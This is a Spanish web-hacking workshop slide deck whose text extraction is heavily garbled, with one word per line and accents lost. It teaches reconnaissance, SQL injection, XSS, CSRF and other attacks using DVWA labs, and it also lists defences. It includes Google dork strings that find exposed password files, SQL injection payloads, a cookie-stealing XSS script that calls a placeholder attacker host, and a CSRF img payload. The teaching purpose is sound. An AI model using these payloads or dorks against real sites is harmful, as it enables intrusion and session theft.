Cyber Camp Hacking Web
Cyber Camp Hacking Web
Cyber Camp Hacking Web
de Hacking Web
Introduccin
Qu
son
los
ataques
a
las
aplicaciones
web?
Consiste
en
introducir
cdigo
del
lado
front-end
o
back-end,
con
el
n
de
comprometer
la
aplicacin.
Ciberataques
Son
todos
aquellos
ataques
que
se
realizan
contra
sistemas
inform?cos
cuya
nalidad
puede
ser
los
siguientes
puntos:
Ciberataques
Mapas
web
donde
se
pueden
visualizar
ataques
en
el
pasado
y
en
el
presente:
hZp://globe.cyberfeed.net/
hZp://atlas.arbor.net/worldmap/index
hZp://cybermap.kaspersky.com/
hZp://sicherheitstacho.eu/
hZp://map.ipviking.com/
hZp://www.akamai.com/html/technology/dataviz1.html
hZp://globe.f-secure.com/
hZp://www.team-cymru.org/Monitoring/Malevolence/maps.html
hZp://www.digitalaZackmap.com/
hZp://www.shadowserver.org/wiki/pmwiki.php/Stats/DDoSMaps
hZp://map.honeycloud.net/
Ciberataques
Estads?ca
de
ataques
web
por
la
empresa
WhiteHat
Security.
Ciberseguridad
El
grco
siguiente
con?ene
gran
parte
de
las
organizaciones
que
han
sido
vc?mas
de
ataques
web:
Vic$mas
Gobiernos
20%
Finanzas
10%
Venta
al
por
Menor
5%
Entretenimiento
5%
Pol?co
20%
Poveedor
de
Servicio
10%
Educacin
5%
Hospitales
5%
Servicios
de
Informacin
10%
Hos?ng
10%
Ciberseguridad
A
con?nuacin
se
listan
las
posibles
repercusiones
que
podra
hacer
contra
la
organizacin
(empresa
o
ins?tucin
pblica):
Robo
de
Informacin
y
a
dems
venta
de
informacin
condencial
a
la
competencia.
Manipulacin
malintencionado
con
el
perl
de
un
usuario
de
la
organizacin.
Espionaje.
Defacement
de
la
aplicacin
web.
Denegacin
de
Servicio
contra
la
base
de
datos.
Denegacin
de
Servicio
contra
el
servidor
web.
Acceso
completo
al
servidor
de
la
organizacin
mediante
la
aplicacin
web.
Crear
un
RootServer
una
vez
est
comprome?do
el
servidor.
Dinero
Diferencia
entre
Pentester
y
Cibercriminal
A
par?r
de
aqu
podemos
diferenciar
entre
un
cibercriminal
y
un
pentester.
Auditor
o
pentester:
buscara
los
agujeros
de
seguridad
con
el
n
de
proteger.
Cibercriminal:
buscara
tambin
los
agujeros
pero
con
nes
destruc?vos.
Etapas
de
un
ataque
Desde
el
punto
de
vista
del
pentester:
Documentacin:
etapa
nal
del
proceso
de
pentes?ng
donde
se
describe
el
pentest
realizado
en
un
documento
de
cara
a
que
luego
pueda
volverse
a
reproducir.
El
empiece
de
un
atacante
Los
ataques
a
las
aplicaciones
web,
empiezan
primero
aplicando
tcnicas
de
ngerprin?ng
y
footprin?ng.
Recabar
Informacin
Fingerprin?ng:
todas
aquellas
tcnicas
que
nos
permitan
obtener
informacin
sobre
el
?po
de
sistema,
los
servicios
que
corren,
la
versin
de
los
servicios
etc.
Footprin?ng:
toda
aquella
informacin
que
aparece
de
forma
pblica.
Nmap
Nmap
es
la
herramienta
por
excelencia
u?lizada
por
todo
el
mundo
que
quiera
recabar
informacin
sobre
que
con?ene
el
sistema.
No
solo
permite
iden?car
puertos
y
servicios.
Dispone
de
una
gran
variedad
de
scripts
de
los
cuales
algunos
de
ellos
?enen
repercusin
contra
las
aplicaciones
web
Scripts Nmap
NETCAT
Herramienta
u?lizada
con
diferentes
propsitos,
uno
de
ellos
es
la
u?lizacin
de
la
tcnica
Banner
Grabing.
Banner
Grabing
consiste
en
obtener
la
versin
de
las
aplicaciones.
El
obje?vo
de
netcat
contra
las
aplicaciones
web
es
obtener
la
e?queta
server
que
es
donde
se
almacena
informacin.
Resultado NETCAT
HTTPrint
Herramienta
que
automa?za
las
tcnicas
de
ngerprin?ng,
permite
iden?car
el
?po
de
servidor
web,
la
tecnologa
u?lizad
incluso
cuando
hay
un
WAF
de
por
medio.
Operadores
u?lizados
en
google
hacking
Site:
restringe
la
bsqueda
solo
a
la
pgina
o
dominio.
In?tle:
busca
la
cadena
introducida
en
los
ltulos
de
las
pginas.
Inurl:
busca
por
pginas
que
contengan
en
la
url
la
cadena
introducida.
Intext:
la
cadena
de
texto
introducida
deber
aparecer
en
el
interior
de
las
pginas.
Filetype:
acota
la
bsqueda
a
las
pginas
que
contengan
la
extensin
puesta
como
cadena
en
el
letype.
Inurl:ws_np.ini[WS_FTP]
letype.ini
Inurl:midicart.mdb
ext:cgi
inurl:cgi-bin
intext:#!/bin/bash
Inurl:admin.php
Filetype:sql
in?tle:index
of
Index
of
/
password.txt
Filetype:inc
intext:mysql_connect
password
please
could
port
Google
Hacks.
Search
Diggity.
Goodork.
SQLmap
Bsqueda
de
Vulnerabilidades
Existen
herramientas
que
permiten
automa?zar
la
bsqueda
de
vulnerabilidades
a
la
hora
de
realizar
un
hacking
web.
Algunas
de
las
herramientas:
Arachni.
Acune?x.
BurpSuite.
AppScan.
Nessus.
W3af.
Grabber.
Vega.
Skipsh.
Explotacin
de
la
vulnerabilidad
Herramientas
u?lizadas
para
explotar
las
vulnerabilidades
encontradas:
Sqlmap.
Havij.
SqlNinja.
SQLBrute
BSQL
Hacker.
Absinthe.
Metasploit.
DarkMYSQLI.
Ms
informacin
de
Ataques
En
la
pgina
de
owasp
podemos
ver
de
forma
categorizada
cada
vulnerabilidad
que
se
puede
aplicar
en
aplicaciones
web:
hZps://www.owasp.org/index.php/Category:AZack
Tipos de Ataques
SQL
Injec?on.
Blind
Sql
Injec?on
XSS
Reected.
XSS
Stored.
CSRF.
Brute
Force
LFI/RFI.
Command
Execu?on
File
Upload
Xml
Injec?on.
Denial
of
Service.
Ajax
Injec?on.
Xpath
Injec?on.
Buer
Overow.
Path
Traversal
LDAP
Injec?on.
Reected
DOM
Injec?on.
Cross
Site
Tracing.
Session
Fixa?on.
SQL
Injec?on
SQL
Injec?on
Fallo
de
inyeccin.
Falta
de
validacin
de
entradas.
SQL
Injec?on
Ejemplo
sin
sql
injec?on:
h*p://example.com/news.php?id=23
<?php
//...
$id
=
$_GET['id'];
$query
=
SELECT
*
FROM
news
WHERE
id=$id;
//...
?>
SELECT
*
FROM
news
WHERE
id=23
SQL
Injec?on
Ejemplo
con
Sql
Injec$on
h*p://example.com/news.php?id=23
and1=0
<?php
//...
$id
=
$_GET['id'];
$query
=
SELECT
*
FROM
news
WHERE
id=$id;
//...
?>
SELECT
*
FROM
news
WHERE
id=23
and
1=0
SQL Injec?on
1 = 1?
1 = 0?
Booleanizacin
Representar
la
informacin
de
forma
binaria.
Extraer
un
bit
de
informacin
en
cada
consulta.
Bsqueda
Binaria
Buscar
un
valor
en
un
arreglo
ordenado.
Reduce
la
complejidad
a
la
mitad
en
cada
iteracin.
Muy
eciente.
Por
ejemplo:
?user=admin'
AND
ASCII(MID(USER(),1,1))>128%23
ASCII(
'r'
)
-->
114
AND
114
>
128
-->
FALSO
?user=admin'
AND
ASCII(MID(USER(),1,1))>64%23
ASCII(
'r'
)
-->
114
AND
114
>
64
-->
VERDADERO
...
SQL Injec?on
SQL
Injec?on
hZp://www.sqlinjec?onwiki.com/
SQL
Injec?on
Demo
SQL
Injec?on
en
DVWA:
XSS
Su nombre original es "Cross Site Scripting", y es
abreviado como XSS para no ser confundido con las
siglas CSS, (hojas de estilo en cascada).
Las vulnerabilidades de XSS originalmente abarcaban
cualquier ataque que permitiera ejecutar cdigo de
"scripting", como VBScript o JavaScript, en el contexto
de otro sitio web.
XSS
Las fallas XSS ocurren cada vez que una aplicacin
toma datos no confiables y los enva al navegador web
sin una validacin y codificacin apropiada.
XSS permite a los atacantes ejecutar secuencia de
comandos en el navegador de la victima los cuales
pueden secuestrar las sesiones de usuario, destruir
sitios web, o dirigir al usuario hacia un sitio malicioso.
XSS
REFLECTED
Los ataques reflejados son aquellos donde el cdigo
inyectado es reflejado fuera del servidor, tal como en un
mensaje de error, el resultado de una bsqueda o
cualquier otra respuesta que incluya una parte de la
entrada enviada al servidor como parte de una solicitud.
XSS REFLECTED
XSS
STORED
Los ataques almacenados son aquellos en los que el
cdigo inyectado reside permanentemente en los
servidores que lo envan, ya sea en la base de datos, en
un mensaje de un foro, en un log de un visitante, campo
de comentario, etc. La vctima descarga el script
malicioso del servidor cuando hace alguna solicitud de
contenido
XSS STORED
Ejemplo
XSS
Considere
el
siguiente
formulario:
<form
ac?on="/registrar.php"
method="post">
<p>Nombre
de
usuario:
<input
type="text"
name="reg_usuario"
/></p>
<p>Email:
<input
type="text"
name="reg_email"
/></p>
<p><input
type="submit"
value="Registrar"
/>
</form>
Ejemplo
XSS
Ahora
considere
el
siguiente
script
de
insercin
de
los
datos:
if
(!get_magic_quotes_gpc())
{
$_POST['reg_usuario']
=
addslashes($_POST['reg_usuario']);
$_POST['reg_email']
=
addslashes($_POST['reg_email']);
}
$sql
=
"insert
into
users
(username,
email)
values
('{$_POST['reg_usuario
']}',
'{$_POST['reg_email']}')";
Ejemplo
XSS
Imagine
el
siguiente
nombre
de
usuario:
<script>alert('Oh
no!');</script>
Se
puede
determinar
fcilmente
que
el
cdigo
anterior
no
es
nombre
de
usuario
vlido,
lo
cual
demuestra
que
el
cdigo
que
escribimos
no
es
siempre
prudente.
Por
supuesto,
el
peligro
de
XSS
reside
en
el
efecto
producido
cuando
los
datos
son
reenviados
a
otros
u?lizadores.
Ejemplo
XSS
Despligue
por
un
administrador:
<table>
<tr>
<th>Usuario</th>
<th>Email</th>
</tr>
<?php
if
($_SESSION['admin'])
{
$sql
=
'select
username,email
from
users';
$result
=
mysql_query($sql);
while
($user
=
mysql_fetch_assoc($result))
{
echo
"\t<tr>\n";
echo
"\t\t<td>{$user['username']}</td>\n";
echo
"\t\t<td>{$user['email']}</td>\n";
echo
"\t</tr>\n";
}
}
?>
</table>
Ejemplo
XSS
En
el
ejemplo
anterior
si
los
datos
no
son
validados
antes
de
ser
guardados,
el
administrador
podr
ser
sujeto
de
un
ataque
XSS.
Ejemplo
XSS
El
riesgo
es
an
ms
evidente
con
algn
ataque
ms
vicioso
como
el
siguiente:
<script>
document.loca?on
=
'hZp://maligno.ejemplo.org/roba_cookies.php?
cookies='
+
document.cookie
</script>
XSS
Demo
XSS
en
DVWA:
CSRF
Este
?po
de
ataques
en
lugar
de
explotar
la
conanza
del
usuario
explotan
la
conanza
que
hace
el
si?o
web
a
sus
usuarios.
CSRF
implica
la
simulacin
de
solicitudes
HTTP,
por
lo
cual
es
muy
importante
entender
las
solicitudes
HTTP.
CSRF
Considere
un
foro
hipot?co
en
hZp://foro.ejemplo.org/
que
u?liza
el
siguiente
formulario:
<form
ac?on="/add_post.php">
<p>Asunto:
<input
type="text"
name="post_subject"
/></p>
<p>Mensaje:
<textarea
name="post_message"></
textarea></p>
<p><input
type="submit"
value="Enviar"
/></p>
</form>
CSRF
Dado
que
en
el
cdigo
anterior
no
se
indic
POST
una
solicitud
GET
es
enviada:
GET
/add_post.php?post_subject=foo&post_message=bar
HTTP/1.1
HOST:
foro.ejemplo.org
Cookie:
PHPSESSID=123456789
CSRF
Considere
la
e?queta
<img>
siguiente:
<img
src="hZp://foro.ejemplo.org/add_post.php?
post_subject=foo&post_message=bar
/>
CSRF
Demo
CSRF
en
DVWA:
Brute
Force
Un
ataque
de
fuerza
bruta
es
un
mtodo
que
se
usa
para
adivinar
las
credenciales
del
sistema
mediante
la
automa?zacin
de
la
prueba
de
credenciales.
Este
ataque
es
conocido
como
cracking
online
debido
a
que
ataca
a
un
servicio
cuya
arquitectura
es
Cliente/Servidor.
Llevado
al
mbito
del
hacking
web
este
ataque
repercu?r
en
todas
la
aplicaciones
donde
exista
un
panel
de
login.
El
Obje?vo
de
este
ataque
es
sacar
las
credenciales
de
la
plataforma.
Brute
Force
Demo
Brute
Force
en
DVWA:
LFI
Es utilizada en sitios que permiten el enlace de archivos
locales, debido a una mala verificacin en la
programacin de la pgina, que contiene las funciones
propias de PHP: include(), include_once(), requiere(),
requiere_once().
Solo existe en pginas dinmicas desarrolladas en PHP.
LFI
Demo
LFI
en
DVWA:
RFI
Es utilizada en sitios que permiten el enlace de archivos
remotos, debido a una mala verificacin en la
programacin de la pgina, que contiene las funciones
propias de PHP: include(), include_once(), requiere(),
requiere_once().
Solo existe en pginas dinmicas desarrolladas en PHP.
RFI
Demo
RFI
en
DVWA:
Command
Execu?on
Permite
la
ejecucin
de
determinados
comandos
en
el
sistema.
Esta
vulnerabilidad
permi?r
modicar,
eliminar
archivos
y
directorios
del
servidor,
las
posibilidades
son
innitas,
su
nica
limitacin
es
el
usuario
que
usa
la
consola
para
ejecutar
los
comandos,
as
dependera
de
los
permisos
de
ese
usuario
para
realizar
ciertas
acciones.
Command
Execu?on
Demo
Command
Execu?on
en
DVWA:
File
Upload
Consiste
en
subir
al
sistema
un
chero
malicioso
ya
sea
sin
aplicar
ninguna
tcnica
de
camuamiento
o
bien
camuando
el
malware
dentro
de
uno
los
cheros
considerados
por
el
sistema
como
aceptable.
Algunas
tcnicas
aplicadas
para
camuar
el
malware
son:
Null
Byte.
Introduccin
a
travs
de
metadatos.
Modicacin
de
las
cabeceras
del
chero.
Modicacin
de
la
Extensin.
File
Upload
Demo
File
Upload
en
DVWA:
Medidas
de
Proteccin
Contra
Sql
Injec?on
Expresiones
regulares.
Validacin
de
?po.
Escapar
caracteres
Especiales.
Libreras
de
seguridad.
ESAPI.
No
solo
JavaScript.
Medidas
de
Proteccin
Contra
Sql
Injec?on
Consultas
Parametrizadas:
Denir
primero
la
consulta
y
luego
pasarle
los
parmetros.
Prepared
Statements.
Storage
Procedures
Medidas
de
Proteccin
Contra
Sql
Injec?on
Permisos
de
Acceso:
Las
aplicaciones
no
necesitan
la
cuenta
de
Administrador.
GRANT
ALL
PRIV...
Es
Necesario?
Aplicaciones
diferentes,
usuarios
diferentes
Medidas
de
Proteccin
contra
Brute
Force
U?lizacin
de
captchas.
Medidas
de
baneo
llegado
a
los
x
intentos
de
error.
U?lizacin
de
contraseas
robustas.
U?lizacin
de
herramientas
que
permiten
proteger
a
los
paneles
web
frente
a
estos
ataques,
por
ejemplo
la
herramienta
cPHULK
Brute
Force
Protec?on.
Medidas
de
Proteccin
contra
Command
Execu?on
No
permi?r
la
insercin
de
comandos
como
&&
o
||.
Filtrar
el
campo
de
tal
manera
que
solo
permita
la
introduccin
del
comando
esperado.
Aplicar
comprobaciones
sobre
el
campo,
determinando
el
?po
de
datos
que
se
le
pasarn
a
los
parmetros
que
recibe
el
comando.
Entornos
de
Explotacin
Existen
diferentes
entornos
de
explotacin
web,
a
con?nuacin
se
listan
algunos
de
ellos:
DVWA.
NOWASP
Mu?llidae.
SQLI-LABS.
Metasploitable.
WebGoat.
bWAPP.
PentesterLab.
Taller
de
Hacking
Tecnologas
u?lizadas:
Programacin
del
lado
Cliente:
JavaScript.
Programacin
del
lado
Servidor:
PHPy
JSP.
Sistema
gestor
de
base
de
datos:
MongoDB
y
Sql
Server.
Qu
es
MongoDB?
MongoDB
es
un
sistema
de
bases
de
datos
NoSQL
orientada
a
documentos,
desarrollado
bajo
el
concepto
de
cdigo
abierto.
En
lugar
de
guardar
los
datos
en
tablas
como
se
hace
en
las
bases
de
datos
relacionales,
MongoDB
guarda
estructuras
de
datos
en
documentos
?po
JSON
con
un
esquema
dinmico.
No
cumple
con
el
esquema
en?dad-relacin.
No
impone
una
estructura
de
datos.
CRUD
Create
db.collec?on.insert(
<document>
)
db.collec?on.save(
<document>
)
db.collec?on.update(
<query>,
<update>,
{
upsert:
true
}
)
Read
db.collec?on.nd(
<query>,
<projec?on>
)
db.collec?on.ndOne(
<query>,
<projec?on>
)
Update
db.collec?on.update(
<query>,
<update>,
<op?ons>
)
Delete
db.collec?on.remove(
<query>,
<justOne>
)
NoSql
Por qu surge?
Caracters?cas NoSQL
Consistencia
Eventual.
Ausencia
de
esquema
en
los
registros
de
datos.
Alta
velocidad
de
respuesta
a
pe?ciones.
Estructura
distribuida.
Escalabilidad
horizontal.
Sistemas
en
Produccin
que
usan
MongoDB
Web
Services
Tecnologa
u?lizada
para
intercambiar
datos
entre
aplicaciones.
Dis?ntas
aplicaciones
y
entornos
puede
hacer
uso
de
los
web
services
para
intercambiar
informacin
y
procesarla.
SOAP:
Protocolo
sobre
el
que
se
estable
el
intercambio.
WSDL:
Es
el
lenguaje
de
la
interfaz
pblica
para
los
servicios
Web.
Es
una
descripcin
basada
en
XML
de
los
requisitos
funcionales
necesarios
para
establecer
una
comunicacin
con
los
servicios
Web.
Beef
Herramienta
desarrollada
en
JavaScript
es
open-source.
Permite
mediante
JavaScript
infectar
los
navegadores
y
u?lizando
una
gran
variedad
de
scripts
ejecutar
diferentes
ataques
en
funcin
del
?po
de
navegador
que
se
haya
infectado.
Beef
es
una
librera
de
JavaScript
como
por
ejemplo
la
librera
jQuery,
que
se
incluye
en
una
pgina
y
esta
se
distribuye
para
infectar
los
navegadores.
Taller de Hacking